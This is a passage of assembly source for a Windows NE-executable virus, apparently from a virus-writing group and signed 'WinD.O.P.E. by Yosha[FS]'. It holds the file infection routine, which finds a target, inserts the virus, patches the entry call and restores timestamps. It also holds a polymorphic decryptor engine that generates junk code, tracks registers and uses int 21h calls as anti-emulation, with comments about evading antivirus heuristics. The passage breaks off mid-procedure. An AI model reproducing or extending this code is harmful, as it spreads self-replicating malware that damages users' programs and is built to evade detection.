        push ax

        Call AlignShift                 ;find point where virus is added

        mov ax,word ptr [VirSector]

        mul cx

        add ax,word ptr [VirIp]

        adc dx,0

        mov word ptr [InsertPt],ax

        mov word ptr [InsertPt+2],dx

        pop edi                         ;file size - insert point = # of

        sub edi,dword ptr [InsertPt]    ; bytes to move

        mov ax,4202h                    ;seek to the end of the file

        xor cx,cx

        cwd

        call Call21

        xchg dx,ax

        xchg cx,ax

MoveLoop:

        mov bp,MoveSize

        cmp edi,MoveSize

        ja UseMoveSize

        mov bp,di

UseMoveSize:

        mov ax,4200h                    ;current r/w ptr

        sub dx,bp

        sbb cx,0

        call Call21

        push dx

        push ax

        mov ah,3fh                      ;read shit from file

        mov cx,bp

        mov dx,word ptr [TempBuff]

        call Call21

        pop dx                          ;seek back to where we were but

        pop cx                          ; ahead a little bit

        push cx

        push dx

        mov ax,4200h

        add dx,word ptr [BytesAdded]

        adc cx,0

        call Call21

        mov ah,40h                      ;write shit back in

        mov cx,bp

        mov dx,word ptr [TempBuff]

        call Call21

        pop dx

        pop cx

        sub edi,MoveSize

        ja MoveLoop

        mov ax,4200h                    ;seek to virus insertion point

        mov dx,word ptr [InsertPt]

        mov cx,word ptr [InsertPt+2]

        call Call21

        mov ah,40h                      ;write in the virus

        mov cx,word ptr [BytesAdded]

        mov dx,word ptr [PolyPtr]

        call Call21

        mov di,word ptr [PatchPoint]    ;seek to our patch pt

        Call SeekToCS

        mov ah,40h                      ;write in the call

        mov cx,3

        mov dx,Offset NewCall

        call Call21

        mov byte ptr [Infected],1       ;set infected flag

CloseFile:

        mov ah,40h                      ;write in the fixed up DOS hdr

        Call ReadWriteMZ

        mov ax,5701h                    ;restore date/time of file

        pop cx

        pop dx

        call Call21

        mov ah,3eh                      ;close file

        call Call21

RestoreAttribs:

        Call FreeAlias

        mov ax,4301h                    ;restore file attributes

        pop dx

        pop cx

        pop ds

        call Call21

@@Return:

        ret

Infect EndP

Installed Proc Near

        cmp bx,'FS'

        jz $+3

        ret

        call Call21                     ;<---I *Have* to do this!!! :<

        call FindAFile                  ; else the whole thing comes

        pop bx                          ; crashing down.

        pop es

        pop ds

        popa

        xchg bx,ax

        iret

Installed EndP

FindAFile Proc Near

        call GetCSAlias

        mov ah,2fh                      ;get old DTA

        call Call21

        push es

        push bx

        mov ah,1ah                      ;set a new DTA

        mov dx,Offset NewDTA

        call Call21

        mov ah,4eh                      ;find a file

        mov dx,Offset FileMask

        xor cx,cx

findnext:

        call Call21

        jc ExitFind

        mov dx,Offset NewDTA+1eh        ;infect it

        Call Infect

        cmp byte ptr [Infected],1       ;only infect 1 file

        jz ExitFind

        mov ah,4fh

        jmp findnext

ExitFind:

        mov bp,ds

        mov ah,1ah                      ;reset DTA

        pop dx

        pop ds

        call Call21

        mov ds,bp

        call FreeAlias                  ;free ds

        ret

FindAFile EndP

GetCSAlias Proc Near

        mov ax,0ah

        mov bx,cs

        int 31h

        mov ds,ax

        mov es,ax

        ret

GetCSAlias EndP

FreeAlias Proc Near

        mov ax,1                        ;free CS alias descriptor

        mov bx,ds

        int 31h

        ret

FreeAlias EndP

SeekToCS Proc Near

        mov ax,word ptr [VirSector]

        Call AlignShift

        mul cx

        xchg dx,ax

        xchg cx,ax

        add dx,di

        adc cx,0

        mov ax,4200h

        call Call21

        ret

SeekToCS EndP

SeekToEOF Proc Near

        xor cx,cx

        xor dx,dx

        mov ax,4202h

        call Call21

        ret

SeekToEOF EndP

AlignShift Proc Near

        push di

        mov cx,word ptr [NEHeader+32h]  ;alignment shift count

        mov di,1

        shl di,cl

        xchg di,cx

        pop di

        ret

AlignShift EndP

SeekFromHeader Proc Near

        add dx,word ptr [WinHdrPtr]

        adc cx,word ptr [WinHdrPtr+2]

        mov ax,4200h

        call Call21

        ret

SeekFromHeader EndP

ReadWriteRsc Proc Near

        push ax                         ;save operation (ah=3fh/40h)

        xor cx,cx                       ;seek to resource table

        mov dx,word ptr [NeHeader+24h]

        mov di,word ptr [NeHeader+26h]  ;size of rsc table = start of resident

        sub di,dx                       ; name table - start of rsc table

        Call SeekFromHeader

        pop ax                          ;read/write rsc table

        mov cx,di

        mov dx,word ptr [RscPtr]

        call Call21

        ret

ReadWriteRsc EndP

ReadWriteSeg Proc Near

        push ax                         ;ah = 3fh or 40h

        xor cx,cx                       ;seek to segment table

        mov dx,word ptr [NeHeader+22h]

        Call SeekFromHeader

        mov cx,word ptr [NeHeader+1ch]  ;get segment count

        pop ax                          ;read/write segment table

        push cx

        mov dx,Offset Finish            ;dx -> segment table

        shl cx,3                        ;num segments * 8 = seg table length

        call Call21

        pop cx                          ;cx = number of segment entries

        ret

ReadWriteSeg EndP

;reads or writes in the NE header

ReadWriteHdr Proc Near

        push ax                         ;ah = 3fh or 40h

        xor cx,cx

        cwd

        Call SeekFromHeader

        pop ax                          ;read/write NE header

        mov cx,40h

        mov dx,Offset NEHeader

        call Call21

        ret

ReadWriteHdr EndP

;reads or writes the dos header -- actually, we haven't changed the DOS

; header, but someday maybe we'll want to???

ReadWriteMZ Proc Near

        push ax

        mov ax,4200h

        xor cx,cx

        cwd

        call Call21

        pop ax

        mov cx,40h

        mov dx,Offset MZHeader

        call Call21

        ret

ReadWriteMZ EndP

;converts a # shifted by segment alignment to a # shifted by resource alignment

AlignConv Proc Near

        Call AlignShift                 ;convert seg align to bytes

        mul cx

        mov si,word ptr [RscPtr]

        mov cx,word ptr [si]            ;get rsc align

        or cx,cx                        ;align of 0 actually means 9

        jnz $+4

        mov cl,9

        mov di,1

        shl di,cl

        div di                           ;convert from bytes to rsc align

        ret

AlignConv EndP

;call engine with:

; di -> buffer for decryptor and encrypted virus

; bp = ip decryptor is exec'd at

; cx = virus length

; ds:0 -> virus start

; es = ds

;returns:

; cx = # of bytes to write to file (ie, size of decryptor+virus)

; di -> buffer for decryptor+encrypted virus

;this engine produces decryptors that don't use any registers:

;looper:

;  xor word ptr [1234h],5678

;  add word ptr [xxxx],2 where xxxx points to [1234h] of crypt instruction

;  cmp word ptr [xxxx],EndVirCode

;  jb/jnz looper

;the engine also implements register tracking.  This makes possible:

;  - addressing modes like [bx+o16],[bx+si+o16],etc

;  - anti-emulation by int 21h functions which return known values.

;  - the ax=000ah/int 21h dpmi call to allocate an alias selector for cs

;    in the poly engine is extremely variable.  Check out the SetRegValue

;    procedure.

;What I've left out and may or may not implement in the future:

;  - tracked memory reads/writes

;  - forward referenced calls

;  - more decryption operations (ROR/ROL,NOT,NEG,INC,DEC)

;  - more anti-emulation?

;  - Multiple decryption loops

.386

locals

;general reg equates

rAX equ 0

rCX equ 1

rDX equ 2

rBX equ 3

rSP equ 4

rBP equ 5

rSI equ 6

rDI equ 7

;seg reg equates

rES equ 8

rCS equ 9

rSS equ 10

rDS equ 11

;operation equates

_ADD equ 0

_OR equ 1

_ADC equ 2

_SBB equ 3

_AND equ 4

_SUB equ 5

_XOR equ 6

_CMP equ 7

;miscellaneous equates

FlowLimit equ 50

MaxPad = 50

MaxCrypt = 1

GarbAmount equ 2                ;1=very low,2=medium,3=high,4=very high

MaxJmp equ 32

;byte 1 - bitfield:

;  bit 0 - if set, reg is allocated

;  bit 1 - if set, reg has a known value

;  bit 2 - if set, reg can be used for memory addressing (si,di,bx,bp)

;bytes 2&3 - the value of the reg, if known

RegTable:

        _AX db 3 dup (?)

        _CX db 3 dup (?)

        _DX db 3 dup (?)

        _BX db 3 dup (?)

        _SP db 3 dup (?)

        _BP db 3 dup (?)

        _SI db 3 dup (?)

        _DI db 3 dup (?)

IsByte db 0             ;if IsByte = 1, use byte registers and byte operations

GarbCount db 0          ;counter prevents too many chained jmp nears --

                        ; tbscan gave me a lot of J heuristic flags, so

                        ; I threw this in.  More for vanity's sake.

;tables fed into Choose procedures

Ch_FinReg db 4,_XOR,_ADD,_ADC,_OR

Ch_FinImm db 5,_XOR,_ADD,_SUB,_ADC,_SBB

Ch_TrackableAx db 5

        aaa

        aas

        daa

        das

        cbw

Ch_Oper db 7,_ADD,_OR,_ADC,_SBB,_AND,_SUB,_XOR

AddTable db 2,_ADD,_SUB ;adc/sbb later

CryptOpers db 5,_ADD,_SUB,_XOR,_ADC,_SBB

Poly Proc Near

        cld                             ;save parameters

        mov word ptr [PolyPtr],di

        mov word ptr [CryptLen],cx

        mov word ptr [PolyIP],bp

        Call RandomInit                 ;initialize the RNG

        mov ax,MaxPad                   ;pad counter

        Call RandomInRange

        add ax,word ptr [CryptLen]

        inc ax

        and al,11111110b

        mov word ptr [PolyLen],ax

        push di                         ;initialize reg table

        mov cx,8

        mov di,Offset RegTable

        xor ax,ax

@@InitRegTable:

        inc ax

        stosb

        dec ax

        stosw

        loop @@InitRegTable

        or byte ptr [_BX],100b          ;bx,si,di,bp can be mem ptrs

        or byte ptr [_SI],100b

        or byte ptr [_DI],100b

        or byte ptr [_BP],100b

        mov byte ptr [PolyFlags],00b

        mov di,Offset Encryptor         ;initialize encryptor

        mov cx,MaxCrypt * 5

        mov al,90h

        rep stosb

        pop di

        mov si,Offset StepTable

        mov cx,NumSteps

@@DoSteps:

        lodsw

        push cx

        push si

        call garbage

        call ax

        pop si

        pop cx

        loop @@DoSteps

        mov cx,di                       ;cx = # of bytes of decryptor+virus

        mov di,word ptr [PolyPtr]       ;di -> decryptor+virus

        sub cx,di

        ret

Poly EndP

;so what?  The virus is already 4kb.  Might as well add some more!

sig1    db      ' Dumb '

sig2    db      ' Oversized '

sig3    db      ' Poop '

sig4    db      ' Engine '

sig5    db      ' WinD.O.P.E. by Yosha[FS] '

PolyPtr         dw      ?               ;pointer to polymorphic buffer

CryptLen        dw      ?               ;# of bytes to encrypt (vir length)

PolyIP          dw      ?               ;offset decryptor is executed at

PolyLen         dw      ?               ;length of decryptor+virus

PtrPatch        dw      ?               ;offs. to be patched w/ ptr to crypted code

CmpPatch        dw      ?               ;patch with offset of end of encrypted code

LoopOffs        dw      ?               ;offs to loop to

PolyFlags       db      ?               ;bit0=flags modifiable,bit1=ds readable/writable

;input:

; si -> table, 1st byte is # of choices, followed by n choices

;return:

; al = byte grabbed from choice table

Choose Proc Near

        lodsb

        cbw

        call RandomInRange

        add si,ax

        lodsb

        ret

Choose EndP

;returns:

; al = unused reg

AllocUnusedReg Proc Near

        mov ax,1

        call GetReg

        jnc @@NoError

        ret

@@NoError:

        call AllocReg

        clc

        ret

AllocUnusedReg EndP

;input:

; al = reg to deallocate

DeAllocReg proc near

        push si

        .IF al != rSP

          call GetRegPtr

          and byte ptr [si],11111110b

        .ENDIF

        pop si

        ret

DeAllocReg EndP

;input:

; al = mask AND'd with reg entry bitfield

; ah = CMP'd after the AND

;returns:

; al = reg

GetReg Proc Near

        push dx

        push bx

        push cx

        push si

        xchg dx,ax

        mov cx,8

        xor bx,bx

        mov si,offset RegTable

@@TallyMatchingRegs:

        lodsb

        and al,dl                       ;and bitfield with AL parameter

        cmp al,dh                       ;cmp with AH parameter

        jnz @@DoesntMatch

        inc bx

@@DoesntMatch:

        lodsw

        loop @@TallyMatchingRegs

        or bx,bx                        ;zero regs match?  Then stc/ret

        jz @@ErrorExit

        mov ax,bx                       ;grab a random reg

        Call RandomInRange

        xchg bx,ax

        inc bx

        mov cx,8                        ;go through the table again and find

        mov si,Offset RegTable          ; our register

@@NextReg:

        lodsb

        and al,dl

        cmp al,dh

        jnz @@DoesntMatch2

        dec bx

        jz @@FoundReg

@@DoesntMatch2:

        lodsw

        loop @@NextReg

@@FoundReg:

        neg cx

        add cx,8

        xchg cx,ax

        clc

@@ExitProc:

        pop si

        pop cx

        pop bx

        pop dx

        ret

@@ErrorExit:

        stc

        jmp @@ExitProc

GetReg EndP

;input:

; al = reg to allocate

;note:

; this function doesn't check if the reg is already allocated

AllocReg Proc Near

        push si

        Call GetRegPtr

        or byte ptr [si],1

        pop si

        ret

AllocReg EndP

;input:

; al = reg

;returns:

; si -> RegTable

GetRegPtr Proc Near

        push cx

        push dx

        call GetRegEntry

        pop dx

        pop cx

        ret

GetRegPtr EndP

;input:

; al = reg

;returns:

; si -> reg table

; cl = reg bitfield

; dx = reg value

GetRegEntry Proc Near

        cbw

        mov si,ax

        shl si,1

        add si,ax

        add si,Offset RegTable

        mov cl,byte ptr [si]

        mov dx,word ptr [si+1]

        ret

GetRegEntry EndP

;input:

; al = opcode for word

; bl = reg (only 0 - 3 can be byte regs)

;returns:

; al - 1 if byte or al for word

ByteorWord Proc Near

        mov byte ptr [IsByte],0         ;reset byte flag

        .IF bl <= 3

          call Boolean

          jnc @@Itsword

          dec ax

          inc byte ptr [IsByte]

@@ItsWord:

        .ENDIF

        ret

ByteorWord EndP

;input:

; bl = src reg

; al = dst reg

;notes:

; can accept segment registers as parameters, but will screw up if fed

;  2 seg regs

SetRegReg Proc Near

        push dx

        push bx

        push ax

        push si

        xchg dx,ax

        .IF (dl >= rES) || (bl >= rES)  ;if either param is a seg reg, only

          mov ax,2                      ; mov and push/pop can be used

        .ELSE

          mov ax,3

        .ENDIF

        call RandomInRange

        .IF al == 0                     ;push reg/pop reg

          .IF bl >= rES                 ;push seg reg

            mov al,bl

            and al,7

            shl al,3

            or al,6

          .ELSE                         ;push general reg

            mov al,bl

            or al,50h

          .ENDIF

          stosb

          ;call garbage

          .IF dl >= rES                 ;pop seg reg

            mov al,dl

            and al,7

            shl al,3

            or al,7

          .ELSE                         ;pop general reg

            mov al,dl

            or al,58h

          .ENDIF

          stosb

        .ELSEIF al == 1                 ;mov reg,reg

          .IF dl >= rES                 ;mov segment reg,general reg

            mov al,8eh

            stosb

            mov al,dl

            shl ax,3

            or al,11000000b

            or al,bl

            stosb

          .ELSEIF bl >= rES             ;mov general reg,segment reg

            mov al,8ch

            stosb

            mov al,bl

            shl ax,3

            or al,dl

            or al,11000000b

            stosb

          .ELSE                         ;mov general reg,general reg

            mov al,8bh

            stosb

            mov al,dl

            shl al,3

            or al,bl

            or al,11000000b

            stosb

          .ENDIF

        .ELSE                           ;zero reg then xor/add/adc/or reg,reg

          call ZeroReg

          mov si,Offset Ch_FinReg

          call Choose

          .IF al == _ADC

            push ax

            mov al,0

            org $ - 1

            clc

            stosb

            pop ax

          .ENDIF

          shl al,3

          add al,3

          stosb

          mov ax,dx

          shl ax,3

          or al,11000000b

          or al,bl

          stosb

        .ENDIF

        .IF (dl >= rES) || (bl >= rES)

          xchg dx,ax

          call GetRegPtr

@@SetAsUnknown:

          and byte ptr [si],11111101b

        .ELSE

          xchg bx,ax

          Call GetRegPtr

          test byte ptr [si],10b

          jz @@SetAsUnknown

          push word ptr [si+1]

          xchg dx,ax

          Call GetRegPtr

          pop word ptr [si+1]

          or byte ptr [si],10b

        .ENDIF

        pop si

        pop ax

        pop bx

        pop dx

        ret

SetRegReg EndP

;input:

; al = reg

; bx = value to set reg to

SetRegValue Proc Near

        push dx

        push cx

        push bx

        call GetRegPtr

        xor bp,bp

@@AnotherOper:

        cmp bp,FlowLimit

        jae @@FinishIt

        call OperOnReg

        inc bp

        mov dx,word ptr [si+1]

        cmp dx,bx

        jz @@ExitProc

        call Boolean

        jc @@AnotherOper

@@FinishIt:

        call FinishVal

@@ExitProc:

        pop bx

        pop cx

        pop dx

        ret

SetRegValue EndP

;input:

; dx = current val of reg

; bx = desired val

; ax = reg

; si -> reg table entry for reg

;returns:

; ax,si,bx,dx,cx destroyed

;notes:

; a really yucky proc, clean it up

FinishVal Proc Near

        xchg cx,ax

        push si

        mov si,Offset Ch_FinImm

        call Choose

        .IF al == _XOR

          xor dx,bx

        .ELSEIF al == _ADD

          neg dx

          add dx,bx

        .ELSEIF al == _SUB

          sub dx,bx

        .ELSEIF al == _ADC

          push ax

          mov al,0

          org $ - 1

          clc

          call Boolean

          jc @@NoStc

          inc ax

          inc dx

@@NoStc:

          stosb

          pop ax

          neg dx

          add dx,bx

        .ELSE                           ;al == _SBB

          push ax

          mov al,0f8h

          call Boolean

          jc @@NoStc2

          inc ax

          dec dx

@@NoStc2:

          stosb

          pop ax

          sub dx,bx

        .ENDIF

        pop si

        push ax

        mov al,81h

        stosb

        pop ax

        shl al,3

        or al,11000000b

        or al,cl

        stosb

        mov word ptr [si+1],bx

        xchg dx,ax

        stosw

        ret

FinishVal EndP

;input:

; al = reg

OperOnReg Proc Near

        push ax

        push bx

        push cx

        push dx

        push si

        push bp

        push di

        call GetRegPtr

        test byte ptr [si],10b

        jnz @@ValueKnown

        call MakeRegKnown

@@ValueKnown:

        xchg bx,ax                      ;use an oper with immediate or

        mov ax,2                        ; an oper with another known reg

        Call RandomInRange

        or al,al

        jnz @@UseImm

        mov ax,102h

        Call GetReg

        jc @@UseImm

        xchg dx,ax                      ;get an oper to use

        mov si,Offset Ch_Oper

        call Choose

        .IF (al == _ADC) || (al == _SBB)        ;store a CLC or a STC

          push ax                               ; if the oper is ADC or SBB

          mov al,0

          org $ - 1

          clc

          Call Boolean

          adc al,0

          stosb

          pop ax

        .ENDIF

        shl al,3

        add al,3

        call ByteorWord

        stosb

        mov al,bl

        shl ax,3

        or al,11000000b

        or al,dl

        stosb

        jmp @@StoreRet

@@UseImm:

        mov ax,5

        call RandomInRange

        .IF al == 0                     ;xor/add/sub/adc/sbb/or/and reg,imm

          mov si,offset Ch_Oper

          call Choose

          .IF (al == _ADC) || (al == _SBB)

            push ax

            mov al,0

            org $ - 1

            clc

            Call Boolean

            adc al,0

            stosb

            pop ax

          .ENDIF

          push ax

          mov al,81h

          call ByteorWord

          stosb

          pop ax

          shl al,3

          or al,11000000b

          or al,bl

          stosb

          call Random16

          .IF byte ptr [IsByte] == 0

            stosw

          .ELSE

            stosb

          .ENDIF

        .ELSEIF al == 1                 ;NOT/NEG reg

          mov al,0f7h

          call ByteorWord

          stosb

          mov al,11010000b

          call Boolean

          jb @@ItsNOT

          or al,1000b

@@ItsNOT:

          or al,bl

          stosb

        .ELSEIF al == 2                 ;INC/DEC reg

          call Random16

          and al,1000b

          or al,0

          org $ - 1

          inc ax

          or al,bl

          stosb

        .ELSEIF al == 3                 ;INC/DEC byte reg

          mov al,0feh

          stosb

          xor ax,ax

          call Boolean

          jc $+4

          or al,1000b

          or al,11000000b

          or al,bl

          stosb

        .ELSEIF al == 4                 ;ax/al shit that doesn't destroy val

          cmp bl,_AX

          jnz @@DoNothing

          mov si,Offset Ch_TrackableAx

          call choose

          stosb

@@DoNothing:

        .ELSE                           ;ROR/ROL reg,imm 0 to 15

          mov al,0c1h

          call ByteorWord

          stosb

          call Random16

          and al,28h

          or al,11000000b

          or al,bl

          stosb

          call Random16

          .IF byte ptr [IsByte] == 0

            and al,15

          .ELSE

            and al,7

          .ENDIF

          stosb

        .ENDIF

@@StoreRet:

        push di

        mov al,0c3h                     ;store a RET after the instruction

        stosb

        push Offset @@GoHere

        mov si,sp

        push word ptr ss:[si+4]

        mov ax,word ptr [_AX+1]

        mov cx,word ptr [_CX+1]

        mov dx,word ptr [_DX+1]

        mov bx,word ptr [_BX+1]

        mov bp,word ptr [_BP+1]

        mov si,word ptr [_SI+1]

        mov di,word ptr [_DI+1]

        ret

@@GoHere:

        mov word ptr [_AX+1],ax

        mov word ptr [_CX+1],cx

        mov word ptr [_DX+1],dx

        mov word ptr [_BX+1],bx

        mov word ptr [_BP+1],bp

        mov word ptr [_SI+1],si

        mov word ptr [_DI+1],di

        pop di

        pop bp

        pop bp

        pop si

        pop dx

        pop cx

        pop bx

        pop ax

        ret

OperOnReg EndP

;input:

; al = reg

MakeRegKnown Proc Near

        push ax

        push dx

        push si

        push bp

        xchg dx,ax

        mov ax,3

        Call RandomInRange

        dec ax

        jz @@UseImm

        mov ax,102h

        call GetReg

        jc @@UseImm

        xchg dx,ax

        xchg bx,ax

        Call SetRegReg

        jmp @@ExitProc

@@UseImm:

        mov ax,3

        Call RandomInRange

        .IF al == 0                     ;push imm/pop reg

          mov al,0

          org $ - 1

          push 1234h

          org $ - 2

          stosb

          call Random16

          stosw

          push ax

          mov al,0

          org $ - 1

          pop ax

          or al,dl

          stosb

          pop bp

        .ELSEIF al == 1                 ;mov reg,imm

          mov al,0b8h

          or al,dl

          stosb

          call Random16

          stosw

          xchg bp,ax

        .ELSE                           ;zero reg

          call ZeroReg

          xor bp,bp

        .ENDIF

        xchg dx,ax

        call GetRegPtr

        or byte ptr [si],10b

        mov word ptr [si+1],bp

@@ExitProc:

        pop bp

        pop si

        pop dx

        pop ax

        ret

MakeRegKnown EndP

;input:

; dl = reg

ZeroReg Proc Near

        push ax

        push si

        push dx

        mov ax,5

        call RandomInRange

        .IF al == 0                     ;push 0h/pop reg

          mov ax,0

          org $ - 2

          push 0h

          stosw

          ;call garbage

          mov al,0

          org $ - 1

          pop ax

          or al,dl

          stosb

        .ELSEIF al == 1                 ;xor

          mov al,33h

@@XorSub:

          stosb

          mov al,dl

          shl al,3

          or al,dl

          or al,11000000b

          stosb

        .ELSEIF al == 2                 ;sub

          mov al,2bh

          jmp @@XorSub

        .ELSEIF al == 3                 ;shr/shl reg,16

          mov al,0c1h

          stosb

          mov al,11100000b

          call Boolean

          jc @@ItsShl

          or al,1000b

@@ItsShl:

          or al,dl

          stosb

          mov al,10h

          stosb

        .ELSE                           ;AND reg,0

          mov al,81h

          stosb

          mov al,11100000b

          or al,dl

          stosb

          xor ax,ax

          stosw

        .ENDIF

        xchg dx,ax

        call GetRegPtr

        or byte ptr [si],10b

        mov word ptr [si+1],0

        pop dx

        pop si

        pop ax

        ret

ZeroReg EndP

;returns:

; al = MMxxxMMM byte

;notes:

; you have no idea how much time I spent writing this shitty procedure

GetMemOperands Proc Near

        push cx

        push bx

        push dx

        xor dx,dx

        mov ax,606h             ;get up to 2 known ptr regs (si,di,bx,bp)

        call GetReg

        jnc $+4                 ;no reg? bx == 0 then

        xor ax,ax

        xchg bx,ax

        mov ax,606h

        call GetReg

        jnc $+4                 ;no second reg?  cx == 0 then

        xor ax,ax

        xchg cx,ax

        cmp cx,bx               ;reg1==reg2?  then reg2==0

        jnz $+4

        xor cx,cx

        .IF ((cl==rBX)||(cl==rBP))||((bl==rSI)||(bl==rDI))

          xor cx,cx

        .ENDIF

        .IF (cl==0)||(bl==0)

          .IF bl == 0           ;0 regs

            mov al,110b

          .ELSE                 ;1 reg

            mov al,10000100b

            .IF bl == rDI

              or al,1

            .ELSEIF bl == rBP

              or al,10b

              mov dl,1

            .ELSEIF bl == rBX

              or al,11b

            .ENDIF

          .ENDIF

        .ELSE                   ;2 regs

          mov al,10000000b

          .IF bl == rBP

            or al,10b

            mov dl,1

          .ENDIF

          .IF cl == rDI

            or al,1

          .ENDIF

        .ENDIF

        push ax                 ;we need a ds: override for [bp] shit

        test dl,1

        jz @@NoDs

        mov al,3eh

        stosb

@@NoDs:

        pop ax

        pop dx

        pop bx

        pop cx

        ret

GetMemOperands EndP

;input:

; al = MMxxxMMM byte

StoreMemAddress Proc Near

        push si

        push cx

        push bx

        push ax

        mov ah,al               ;put MM in bh and MMM in bl

        and ax,0c007h

        xchg bx,ax

        xor ax,ax               ;no regs?  Just store a 0

        cmp bx,110b

        jz @@StoreOffs

        test bl,100b

        jz @@TwoRegs

        xor bh,bh

        and bl,11b

        mov al,byte ptr [bx+PtrXlat]

        xor cx,cx

        jmp @@CalcOffs

@@TwoRegs:

        mov al,rBX              ;does it use bp or bx?

        test bl,10b

        jz $+4

        inc ax

        inc ax

        cbw

        call GetRegPtr

        mov cx,word ptr [si+1]

        mov al,rSI

        test bl,1

        jz $+3

        inc ax

@@CalcOffs:

        cbw

        call GetRegPtr

        add cx,word ptr [si+1]

        xchg cx,ax

@@StoreOffs:

        neg ax

        stosw

        pop ax

        pop bx

        pop cx

        pop si

        ret

StoreMemAddress EndP

PtrXlat:

        db      rSI

        db      rDI

        db      rBP

        db      rBX

;can do:

; shitty 1 byte opcodes

; xor/add/sub/mov/adc/sbb/or/and reg,immediate

; xor/add/sub/mov/adc/sbb/or/and reg,reg

; jmp short

; jmp reg (how often do you see that in an engine?)

; junk int 21h functions (provide minor anti-emulation)

; xchg reg,reg

; push/pop

Garbage Proc Near

        push ax

        push bx

        push cx

        push dx

        push bp

        push si

@@GarbStart:

;build a bitfield in bl:

;bit 0 - set if flags are alloc'd

;bit 1 - set if ds is alloc'd

;bit 2 - set if regs are alloc'd

        mov bl,byte ptr [PolyFlags]

        and bl,11b

        mov ax,11b                      ;get unused, unallocated reg

        Call GetReg

        jnc @@FoundReg

        mov ax,1                        ;that didn't work, try for any

        Call GetReg                     ; unallocated reg now

@@FoundReg:

        push ax

        jc @@blahblah

        or bl,100b

@@blahblah:

;compare the bitfield to the bitfield of each entry in the garbage table

;and get a tally of the usable garbage.  Then choose one

        mov si,Offset GarbageTable

        mov cx,NumGarb

        xor bp,bp

@@TallyGarb:

        lodsb

        mov dx,bx

        or dl,al

        cmp dl,bl

        jnz $+3

        inc bp

        lodsw

        loop @@TallyGarb

        xchg bp,ax

        call RandomInRange

        inc ax

        xchg bp,ax

        mov si,Offset GarbageTable

        mov cx,NumGarb

@@TallyGarb2:

        lodsb

        mov dx,bx

        or dl,al

        lodsw

        cmp dl,bl

        jnz @@DoesntMatch2

        dec bp

        jz @@FoundOurs

@@DoesntMatch2:

        loop @@TallyGarb2

@@FoundOurs:

        pop bx

        xchg bx,ax

        call bx

        inc byte ptr [GarbCount]

        mov ax,GarbAmount               ;should we make *more* garbage?

        Call RandomInRange              ;I think we probably should!

        or ax,ax

        jnz @@GarbStart

@@ExitProc:

        pop si

        pop bp

        pop dx

        pop cx

        pop bx

        pop ax

        ret

Garbage EndP

;1st byte, modification field:

;   1b - garbage generated will modify flags

;  10b - garbage generated will write to/read from memory using ds (not implemented yet)

; 100b - garbage generated will modify registers

;bytes 2&3: ptr to procedure

GarbageTable:

        db      101b

        dw      OperOnReg

        db      101b

        dw      G_SetRegReg

        db      101b

        dw      MakeRegKnown

        db      1b

        dw      G_1byte

        db      0

        dw      G_RegFlagless

        db      0

        dw      G_PushPopSame

        db      101b

        dw      G_CrapAx

        db      0b

        dw      G_XchgSame

        db      101b

        dw      G_Int21

        db      0

        dw      G_Jmp

        db      101b

        dw      G_JmpReg

NumGarb equ ($ - Offset GarbageTable)/3

;input:

; al = unallocated reg, more likely to be unknown

;notes:

; sets al param to a known, unallocated reg

; if that fails, use al param for both regs

G_SetRegReg Proc Near

        push ax

        mov ax,202h     ;get known,unallocated reg

        Call GetReg

        pop bx

        push bx

        jc $+3

        xchg bx,ax

        pop ax

        call SetRegReg

        ret

G_SetRegReg EndP

G_1byte Proc Near

        mov si,Offset Ch_Regless

        call choose

        stosb

        ret

Ch_Regless:

        db      6

        stc

        clc

        std

        cld

        cmc

        nop

G_1byte EndP

G_RegFlagless Proc Near

        mov al,90h

        stosb

        ret

Ch_RegFlagless:

        db 1

        nop

G_RegFlagless EndP

;push any reg, pop into same reg

G_PushPopSame Proc Near

        mov ax,8

        Call RandomInRange

        call GetRegPtr

        mov dl,byte ptr [si]

        mov bp,word ptr [si+1]

        or al,0

        org $ - 1

        push ax

        stosb

;        call garbage

        add al,8

        mov word ptr [si+1],bp

        mov byte ptr [si],dl

        stosb

        ret

G_PushPopSame EndP

G_CrapAx Proc Near

        test byte ptr [_AX],1b          ;is AX allocated?

        jnz @@ExitProc                   ; then bail

        mov si,Offset Ch_CrapAx

        call Choose

        stosb

        and byte ptr [_AX],11111101b    ;forget value of ax

@@ExitProc:

        ret

Ch_CrapAx:

        db 3

        db 0d6h    ;setalc, undoc'd

        in al,dx

        in ax,dx

G_CrapAx EndP

G_XchgSame Proc Near

        mov al,87h

        call ByteorWord

        stosb

        mov ax,8

        Call RandomInRange

        mov bx,ax

        shl al,3

        or al,bl

        or al,11000000b

        stosb

        ret

G_XchgSame EndP

G_Int21 Proc Near

        test byte ptr [_AX],1           ;ax alloc'd?

        jnz @@ExitProc                  ; if so, exit

        mov si,Offset Ch_Int21          ;grab an int 21h function in al

        call Choose

        .IF (al==52h)||(al==35h)        ;sysvars and getintvect modify bx and es

          test byte ptr [_BX],1b        ;fail if bx alloc'd

          jnz @@ExitProc

          push ax

          mov al,0                      ;store push es

          org $ - 1

          push es

          stosb

          call Garbage

          pop ax

        .ELSEIF (al==2ah)||(al==2ch)    ;get time or date

          test byte ptr [_CX],1b

          jnz @@ExitProc

          test byte ptr [_DX],1b

          jnz @@ExitProc

        .ENDIF

        push ax

        xchg bh,al

        Call Random16                   ;get random val in al

        xchg bl,al                      ;set ax = our chosen function

        mov al,rAX

        Call AllocReg

        Call SetRegValue

        call garbage                    ;throw some garbage in there

        mov ax,21cdh                    ;int 21h!

        stosw

        pop ax

        .IF (al == 54h) || (al == 19h)  ;functions where al is unknown after int

          and byte ptr [_AX],11111101b  ;forget value of ax

        .ELSEIF (al == 2ah) || (al==2ch);get time or date

          and byte ptr [_CX],11111101b  ;forget cx and dx

          and byte ptr [_DX],11111101b

          .IF al == 2ah

            and byte ptr [_AX],11111101b;ah=2ah corrupts al too

          .ELSE

            mov byte ptr [_AX+1],0      ;but ah=2ch set al=0

          .ENDIF

        .ELSEIF al==52h                 ;sysvars

          mov word ptr [_BX+1],26h      ;bx always = 26h for msdos

          or byte ptr [bx],10b          ;set bx as known

@@StorePopEs:

          call garbage

          mov al,0

          org $ - 1

          pop es

          stosb

        .ELSEIF al==35h                 ;getintvect

          and byte ptr [_BX],11111101b  ;forget bx, it gets corrupted

          jmp @@StorePopEs

        .ELSE                           ;all our other functions zero al

          mov byte ptr [_AX+1],0

        .ENDIF

        mov al,rAX                      ;deallocate ax

        call DeAllocReg

@@ExitProc:

        ret

Ch_Int21:

        db 11

        db 19h,1dh,1eh,20h,2ah,2ch,35h,52h,54h,61h,6bh

G_Int21 EndP

G_Jmp Proc Near

        cmp byte ptr [GarbCount],20h

        ja @@GoodEnough

        dec byte ptr [GarbCount]

